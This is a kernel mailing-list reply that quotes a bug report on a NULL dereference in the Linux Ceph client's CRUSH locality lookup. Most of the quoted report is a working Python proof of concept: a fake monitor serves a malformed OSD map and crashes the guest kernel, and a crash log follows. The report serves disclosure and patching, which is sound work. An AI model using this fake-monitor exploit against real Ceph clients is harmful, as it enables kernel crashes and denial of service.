Re: [PATCH ceph 0/1] libceph: osdmap: missing CRUSH type name can crash locality lookup

Viacheslav Dubeyko <[email protected]>
Newsgroups org.kernel.vger.ceph-devel
Message-ID <[email protected]>
CC: [email protected]

On Fri, 2026-06-19 at 15:40 +0800, Ren Wei wrote:
> From: Zhao Zhang <[email protected]>
> 
> Hi Linux kernel maintainers,
> 
> We found an issue in net/ceph/osdmap.c.
> The bug is reachable by a root user able to mount Ceph and read Ceph
> debugfs state.
> The relevant details are provided below.
> 
> ---- details below ----
> 
> Bug details:
> 
> The bug is in the CRUSH locality walk in `get_immediate_parent()`.
> That function validates that a parent bucket has a valid entry in
> `c->names`, but it does not validate the corresponding lookup in
> `c->type_names`.
> 
> If a malformed OSD map contains a bucket whose name exists in
> `c->names` but whose bucket type has no entry in `c->type_names`,
> `lookup_crush_name(&c->type_names, b->type)` returns `NULL`.
> `get_immediate_parent()` then dereferences `type_cn->cn_name` and
> stores an invalid pointer in `parent_loc->cl_type_name`.
> 
> That invalid pointer is later passed to `strcmp()` from
> `ceph_get_crush_locality()`, which can crash while serving callers
> such as the Ceph debugfs `osdmap` dump. With KASAN, this shows up as
> a null-ptr-deref in `strcmp()` and the guest panics.
> 
> Reproducer:
> 
> python3 -m py_compile mini_poc
> chmod +x mini_poc
> SSH_PORT=10022
> ./mini_poc --ssh-port "$SSH_PORT"
> 
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> ------BEGIN PoC------
> 
> #!/usr/bin/env python3
> import argparse
> import os
> import select
> import socket
> import struct
> import subprocess
> import sys
> import threading
> import time
> 
> 
> TAG_READY = 1
> TAG_MSG = 7
> TAG_ACK = 8
> TAG_KEEPALIVE = 9
> TAG_KEEPALIVE2 = 14
> TAG_KEEPALIVE2_ACK = 15
> TAG_CLOSE = 6
> 
> MSG_MON_MAP = 4
> MSG_MON_SUBSCRIBE = 15
> MSG_MON_SUBSCRIBE_ACK = 16
> MSG_AUTH = 17
> MSG_AUTH_REPLY = 18
> MSG_OSD_MAP = 41
> 
> CEPH_AUTH_NONE = 1
> CEPH_FEATURE_MSG_AUTH = 1 << 23
> SERVER_FEATURES = 0x2F018FB87AA4AAFE
> 
> CEPH_ENTITY_TYPE_MON = 1
> CEPH_MSG_PRIO_DEFAULT = 127
> 
> CRUSH_MAGIC = 0x00010000
> CRUSH_BUCKET_UNIFORM = 1
> CRUSH_HASH_DEFAULT = 0
> 
> HDR_FMT = "<QQHHHIIIHBQHHI"
> HDR_LEN = struct.calcsize(HDR_FMT)
> 
> CRC_TABLE = []
> for i in range(256):
>     c = i
>     for _ in range(8):
>         c = (c >> 1) ^ 0x82F63B78 if c & 1 else c >> 1
>     CRC_TABLE.append(c & 0xFFFFFFFF)
> 
> 
> def crc32c(data: bytes, seed: int = 0) -> int:
>     c = seed & 0xFFFFFFFF
>     for b in data:
>         c = CRC_TABLE[(c ^ b) & 0xFF] ^ (c >> 8)
>     return c & 0xFFFFFFFF
> 
> 
> def recv_exact(sock: socket.socket, n: int) -> bytes:
>     out = bytearray()
>     while len(out) < n:
>         chunk = sock.recv(n - len(out))
>         if not chunk:
>             raise EOFError("peer closed")
>         out += chunk
>     return bytes(out)
> 
> 
> def le16(v: int) -> bytes:
>     return struct.pack("<H", v & 0xFFFF)
> 
> 
> def le32(v: int) -> bytes:
>     return struct.pack("<I", v & 0xFFFFFFFF)
> 
> 
> def le64(v: int) -> bytes:
>     return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)
> 
> 
> def enc_string(s: bytes) -> bytes:
>     return le32(len(s)) + s
> 
> 
> def start_block(version: int, compat: int, payload: bytes) -> bytes:
>     return struct.pack("<BBI", version, compat, len(payload)) +
> payload
> 
> 
> def sockaddr_in_storage(ip: str, port: int, family_endian: str) ->
> bytes:
>     family = struct.pack("!H" if family_endian == "big" else "<H",
> socket.AF_INET)
>     rest = struct.pack("!H", port) + socket.inet_aton(ip) + (b"\x00"
> * 8)
>     return family + rest + (b"\x00" * (128 - 16))
> 
> 
> def encode_banner_addr(ip: str, port: int, nonce: int) -> bytes:
>     return le32(0) + le32(nonce) + sockaddr_in_storage(ip, port,
> "big")
> 
> 
> def pack_entity_addr(ip: str, port: int, nonce: int = 0, addr_type:
> int = 1) -> bytes:
>     sockaddr = sockaddr_in_storage(ip, port, "little")[:16]
>     payload = le32(addr_type) + le32(nonce) + le32(len(sockaddr)) +
> sockaddr
>     return b"\x01" + start_block(1, 1, payload)
> 
> 
> def build_monmap(fsid: bytes, host_ip: str, mon_port: int) -> bytes:
>     feat = start_block(1, 1, b"")
>     mon_info = enc_string(b"a") + (b"\x02" + le32(1) +
> pack_entity_addr(host_ip, mon_port))
>     mon_info = start_block(1, 1, mon_info)
> 
>     body = bytearray()
>     body += fsid
>     body += le32(1)
>     body += le32(0) + le32(0)
>     body += le32(0) + le32(0)
>     body += feat
>     body += feat
>     body += le32(1)
>     body += enc_string(b"a")
>     body += mon_info
>     blob = start_block(6, 6, bytes(body))
>     return le32(len(blob)) + blob
> 
> 
> def build_malicious_crush() -> bytes:
>     payload = bytearray()
>     payload += le32(CRUSH_MAGIC)
>     payload += le32(1)
>     payload += le32(0)
>     payload += le32(1)
>     payload += le32(CRUSH_BUCKET_UNIFORM)
>     payload += le32(0xFFFFFFFF)
>     payload += le16(1)
>     payload += struct.pack("<B", CRUSH_BUCKET_UNIFORM)
>     payload += struct.pack("<B", CRUSH_HASH_DEFAULT)
>     payload += le32(0x10000)
>     payload += le32(1)
>     payload += le32(0)
>     payload += le32(0x10000)
>     payload += le32(0)
>     payload += le32(1)
>     payload += le32(0xFFFFFFFF)
>     payload += le32(5)
>     payload += b"hostA"
>     payload += le32(0)
>     payload += le32(0)
>     payload += le32(0)
>     payload += le32(0)
>     payload += le32(0)
>     payload += struct.pack("<B", 0)
>     payload += struct.pack("<B", 0)
>     payload += le32(0)
>     payload += struct.pack("<B", 0)
>     return bytes(payload)
> 
> 
> def build_full_osdmap(fsid: bytes, host_ip: str, osd_port: int) ->
> bytes:
>     crush = build_malicious_crush()
>     body = bytearray()
>     body += fsid
>     body += le32(1)
>     body += le32(0) + le32(0)
>     body += le32(0) + le32(0)
>     body += le32(0)
>     body += le32(0)
>     body += le32(0)
>     body += le32(0)
>     body += le32(1)
>     body += le32(1)
>     body += struct.pack("<B", 3)
>     body += le32(1)
>     body += le32(0x10000)
>     body += le32(1)
>     body += pack_entity_addr(host_ip, osd_port)
>     body += le32(0)
>     body += le32(len(crush))
>     body += crush
>     return start_block(7, 7, start_block(0, 1, bytes(body)))
> 
> 
> def build_osdmap_msg(fsid: bytes, host_ip: str, osd_port: int) ->
> bytes:
>     full = build_full_osdmap(fsid, host_ip, osd_port)
>     payload = bytearray()
>     payload += fsid
>     payload += le32(0)
>     payload += le32(1)
>     payload += le32(1)
>     payload += le32(len(full))
>     payload += full
>     return bytes(payload)
> 
> 
> def build_auth_reply(global_id: int) -> bytes:
>     return le32(CEPH_AUTH_NONE) + struct.pack("<i", 0) +
> le64(global_id) + le32(0) + le32(0)
> 
> 
> def build_subscribe_ack(fsid: bytes) -> bytes:
>     return le32(60) + fsid
> 
> 
> def build_header(seq: int, msg_type: int, front_len: int, *, tid: int
> = 0) -> bytes:
>     hdr_wo_crc = struct.pack(
>         "<QQHHHIIIHBQHH",
>         seq,
>         tid,
>         msg_type,
>         CEPH_MSG_PRIO_DEFAULT,
>         1,
>         front_len,
>         0,
>         0,
>         0,
>         CEPH_ENTITY_TYPE_MON,
>         0,
>         1,
>         0,
>     )
>     return hdr_wo_crc + le32(crc32c(hdr_wo_crc))
> 
> 
> def build_footer(front: bytes, msg_auth: bool) -> bytes:
>     if msg_auth:
>         return struct.pack("<IIIQb", crc32c(front), 0, 0, 0, 1)
>     return struct.pack("<IIIb", crc32c(front), 0, 0, 1)
> 
> 
> def send_msg(sock: socket.socket, seq: int, msg_type: int, front:
> bytes, msg_auth: bool, tid: int = 0) -> None:
>     pkt = bytes([TAG_MSG]) + build_header(seq, msg_type, len(front),
> tid=tid) + front + build_footer(front, msg_auth)
>     sock.sendall(pkt)
> 
> 
> def recv_tagged_msg(sock: socket.socket, msg_auth: bool):
>     tag = recv_exact(sock, 1)[0]
>     if tag == TAG_MSG:
>         hdr = recv_exact(sock, HDR_LEN)
>         vals = struct.unpack(HDR_FMT, hdr)
>         seq, tid, mtype, _prio, _ver, flen, mlen, dlen, _doff,
> _stype, _snum, _compat, _reserved, _hcrc = vals
>         front = recv_exact(sock, flen) if flen else b""
>         if mlen:
>             recv_exact(sock, mlen)
>         if dlen:
>             recv_exact(sock, dlen)
>         recv_exact(sock, 21 if msg_auth else 13)
>         return tag, seq, tid, mtype, front
>     if tag == TAG_ACK:
>         recv_exact(sock, 8)
>         return tag, None, None, None, b""
>     if tag == TAG_KEEPALIVE:
>         return tag, None, None, None, b""
>     if tag == TAG_KEEPALIVE2:
>         stamp = recv_exact(sock, 8)
>         sock.sendall(bytes([TAG_KEEPALIVE2_ACK]) + stamp)
>         return tag, None, None, None, b""
>     if tag == TAG_CLOSE:
>         return tag, None, None, None, b""
>     raise RuntimeError(f"unexpected tag {tag}")
> 
> 
> def do_v1_server_handshake(sock: socket.socket, server_ip: str,
> server_port: int):
>     banner = recv_exact(sock, 145)
>     client_nonce = struct.unpack_from("<I", banner, len(b"ceph v027")
> + 4)[0]
>     peer_ip, peer_port = sock.getpeername()
>     reply_banner = b"ceph v027" + encode_banner_addr(server_ip,
> server_port, 0) + encode_banner_addr(peer_ip, peer_port,
> client_nonce)
>     sock.sendall(reply_banner)
> 
>     con = recv_exact(sock, 33)
>     features, _host_type, global_seq, connect_seq, proto,
> _auth_proto, auth_len, _flags = struct.unpack("<QIIIIIIb", con)
>     if auth_len:
>         recv_exact(sock, auth_len)
> 
>     sock.sendall(struct.pack("<BQIIIIB", TAG_READY, SERVER_FEATURES,
> global_seq, connect_seq, proto, 0, 0))
>     return bool(features & CEPH_FEATURE_MSG_AUTH)
> 
> 
> class FakeMon:
>     def __init__(self, host_ip: str, mon_port: int, osd_port: int,
> runtime: int):
>         self.host_ip = host_ip
>         self.mon_port = mon_port
>         self.osd_port = osd_port
>         self.runtime = runtime
>         self.fsid = bytes.fromhex("11111111222233334444555555555555")
>         self.stop_evt = threading.Event()
>         self.ready_evt = threading.Event()
>         self.deadline = 0.0
> 
>     def stop(self) -> None:
>         self.stop_evt.set()
> 
>     def expired(self) -> bool:
>         return self.stop_evt.is_set() or time.time() >= self.deadline
> 
>     def handle_client(self, conn: socket.socket, addr) -> None:
>         global_id = (addr[1] & 0xFFFFFFFF) | 0x10000
>         try:
>             conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY,
> 1)
>             conn.settimeout(0.5)
>             msg_auth = do_v1_server_handshake(conn, self.host_ip,
> self.mon_port)
>             out_seq = 1
>             sent_maps = False
>             while not self.expired():
>                 ready, _, _ = select.select([conn], [], [], 0.2)
>                 if not ready:
>                     continue
>                 tag, seq, tid, mtype, _front = recv_tagged_msg(conn,
> msg_auth)
>                 if tag in (TAG_ACK, TAG_KEEPALIVE, TAG_KEEPALIVE2):
>                     continue
>                 if tag != TAG_MSG:
>                     return
>                 if mtype == MSG_AUTH:
>                     send_msg(conn, out_seq, MSG_AUTH_REPLY,
> build_auth_reply(global_id), msg_auth)
>                     out_seq += 1
>                     if not sent_maps:
>                         send_msg(conn, out_seq, MSG_MON_MAP,
> build_monmap(self.fsid, self.host_ip, self.mon_port), msg_auth)
>                         out_seq += 1
>                         send_msg(conn, out_seq, MSG_OSD_MAP,
> build_osdmap_msg(self.fsid, self.host_ip, self.osd_port), msg_auth)
>                         out_seq += 1
>                         sent_maps = True
>                 elif mtype == MSG_MON_SUBSCRIBE:
>                     send_msg(conn, out_seq, MSG_MON_SUBSCRIBE_ACK,
> build_subscribe_ack(self.fsid), msg_auth)
>                     out_seq += 1
>         except Exception:
>             pass
>         finally:
>             try:
>                 conn.close()
>             except OSError:
>                 pass
> 
>     def run(self) -> int:
>         self.deadline = time.time() + self.runtime
>         with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as
> srv:
>             srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>             srv.bind(("0.0.0.0", self.mon_port))
>             srv.listen(8)
>             srv.settimeout(0.5)
>             self.ready_evt.set()
>             while not self.expired():
>                 try:
>                     conn, addr = srv.accept()
>                 except socket.timeout:
>                     continue
>                 threading.Thread(target=self.handle_client,
> args=(conn, addr), daemon=True).start()
>         return 0
> 
> 
> def ssh_run(ssh_port: int, ssh_key: str, command: str, timeout: int)
> -> subprocess.CompletedProcess:
>     return subprocess.run(
>         [
>             "ssh",
>             "-i",
>             ssh_key,
>             "-o",
>             "StrictHostKeyChecking=no",
>             "-o",
>             "UserKnownHostsFile=/dev/null",
>             "-p",
>             str(ssh_port),
>             "root@localhost",
>             "sh -s",
>         ],
>         input=command,
>         text=True,
>         capture_output=True,
>         timeout=timeout,
>     )
> 
> 
> def trigger_guest(args) -> int:
>     guest_script = f"""
> set -u
> mountpoint -q /sys/kernel/debug || mount -t debugfs none
> /sys/kernel/debug
> sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true
> dmesg -C >/dev/null 2>&1 || true
> umount -fl /mnt/c3r >/dev/null 2>&1 || true
> rm -rf /mnt/c3r
> mkdir -p /mnt/c3r
> mount -i -t ceph "{args.host_ip}:{args.mon_port}:/" /mnt/c3r \\
>   -o
> "name=guest,ms_mode=legacy,mount_timeout=4,noshare,crush_location=hos
> t:hostA" \\
>   >/tmp/mini-poc-mount.log 2>&1 &
> for _ in $(seq 1 30); do
>   p=$(find /sys/kernel/debug/ceph -maxdepth 2 -name osdmap -print -
> quit 2>/dev/null || true)
>   if [ -n "$p" ]; then
>     cat "$p" >/dev/null
>     exit 0
>   fi
>   sleep 1
> done
> exit 1
> """
>     proc = ssh_run(args.ssh_port, args.ssh_key, guest_script,
> args.timeout)
>     if proc.stdout:
>         sys.stdout.write(proc.stdout)
>     if proc.stderr:
>         sys.stderr.write(proc.stderr)
>     return proc.returncode
> 
> 
> def main() -> int:
>     parser = argparse.ArgumentParser()
>     parser.add_argument("--ssh-port", type=int, required=True)
>     parser.add_argument("--ssh-key",
> default=os.path.expanduser("~/kernel-image/bullseye.id_rsa"))
>     parser.add_argument("--host-ip", default="10.0.2.2")
>     parser.add_argument("--mon-port", type=int, default=40404)
>     parser.add_argument("--osd-port", type=int, default=40405)
>     parser.add_argument("--runtime", type=int, default=90)
>     parser.add_argument("--timeout", type=int, default=45)
>     args = parser.parse_args()
> 
>     mon = FakeMon(args.host_ip, args.mon_port, args.osd_port,
> args.runtime)
>     thread = threading.Thread(target=mon.run, daemon=True)
>     thread.start()
>     if not mon.ready_evt.wait(timeout=5):
>         return 1
> 
>     try:
>         return trigger_guest(args)
>     finally:
>         mon.stop()
>         thread.join(timeout=2)
> 
> 
> if __name__ == "__main__":
>     sys.exit(main())
> 
> 
> ------END PoC--------
> 
> ----BEGIN crash log----
> 
> [  145.196357][ T8700] Oops: general protection fault, probably for
> non-canonical address 0xdffffc0000000003: 0000 [#1] SMP KASAN NOPTI
> [  145.197661][ T8700] KASAN: null-ptr-deref in range
> [0x0000000000000018-0x000000000000001f]
> [  145.198562][ T8700] CPU: 1 UID: 0 PID: 8700 Comm: cat Tainted:
> G        W           7.1.0-rc4-g9fc75b71fdd3 #1 PREEMPT(full)
> [  145.201341][ T8700] RIP: 0010:strcmp+0x39/0xb0
> [  145.211697][ T8700] Call Trace:
> [  145.212361][ T8700]  ceph_get_crush_locality+0x5fd/0x7c0
> [  145.212954][ T8700]  osdmap_show+0x514/0x1110
> [  145.215736][ T8700]  seq_read_iter+0x32f/0x1270
> [  145.216267][ T8700]  seq_read+0x33b/0x4c0
> [  145.219066][ T8700]  full_proxy_read+0x135/0x1a0
> [  145.219637][ T8700]  vfs_read+0x1e4/0xb30
> [  145.227217][ T8700]  ksys_read+0x12a/0x250
> [  145.230958][ T8700]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
> [  145.242009][ T8700] Code: df 41 54 55 53 48 89 fb 48 83 ec 08 eb
> 08 40 84 ed 74 61 4c 89 e6 48 89 df 48 83 c3 01 48 89 f8 48 89 fa 48
> c1 e8 03 83 e2 07 <42> 0f b6 04 28 38 d0 7f 04 84 c0 75 58 48 89 f0
> 48 89 f2 0f b6 6b
> [  145.246237][ T8700] RDX: 0000000000000004 RSI: ffff888032deb868
> RDI: 000000000000001c
> [  145.254066][ T8700] Kernel panic - not syncing: Fatal exception
> 
> 
> -----END crash log-----
> 
> Best regards,
> Zhao Zhang
> 
> 
> Zhao Zhang (1):
>   libceph: osdmap: guard missing CRUSH type name lookup
> 
>  net/ceph/osdmap.c | 5 ++++-
>  1 file changed, 4 insertions(+), 1 deletion(-)
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.